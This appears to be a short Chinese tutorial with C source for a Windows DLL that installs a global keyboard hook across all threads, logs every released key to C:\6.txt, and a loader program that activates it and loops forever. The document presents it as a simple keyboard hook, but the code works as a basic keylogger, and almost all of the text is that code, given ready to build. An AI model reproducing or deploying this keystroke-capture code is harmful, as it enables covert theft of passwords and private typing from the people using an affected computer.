创建一个dll文件
#include <windows.h>
#include <stdio.h>
HHOOK g_hMouse=NULL;
//保存文本
void SaveTxt(char *c )
{
FILE *pFile=fopen("C:\\6.txt","a+");
fwrite(c,1,1,pFile);
fclose(pFile);
}
LRESULT CALLBACK WINAPI LauncherHook( int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(g_hMouse,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000) //lParam第32为1时。为释放按键
{
char c[1];
c[0]=wParam;
SaveTxt(c);
}
}
return Result;
}
__declspec(dllexport) void WINAPI SetHook()
{
g_hMouse=SetWindowsHookEx(WH_KEYBOARD,LauncherHook,GetModuleHandle("dllhook.dll"),0);
if(g_hMouse==NULL)
MessageBox(NULL,TEXT("无法安装钩子"),TEXT("警告!"),MB_OK);
else
MessageBox(NULL,TEXT("安装钩子"),TEXT("警告!"),MB_OK);
}
接着创建一个主程序
#include <windows.h>
#pragma comment(lib, "D:\\My Documents\\Visual Studio 2008\\Projects\\dllhook\\Debug\\dllhook.lib")
_declspec(dllimport) void WINAPI SetHook();
void main()
{
SetHook();
while(1)
{
}
}
注意需要将生成的dll文件放在主程序的exe文件里面,以供调用。记录的文件放在一个txt里面,存在c盘。
这样一个简单的键盘钩子就搞定了。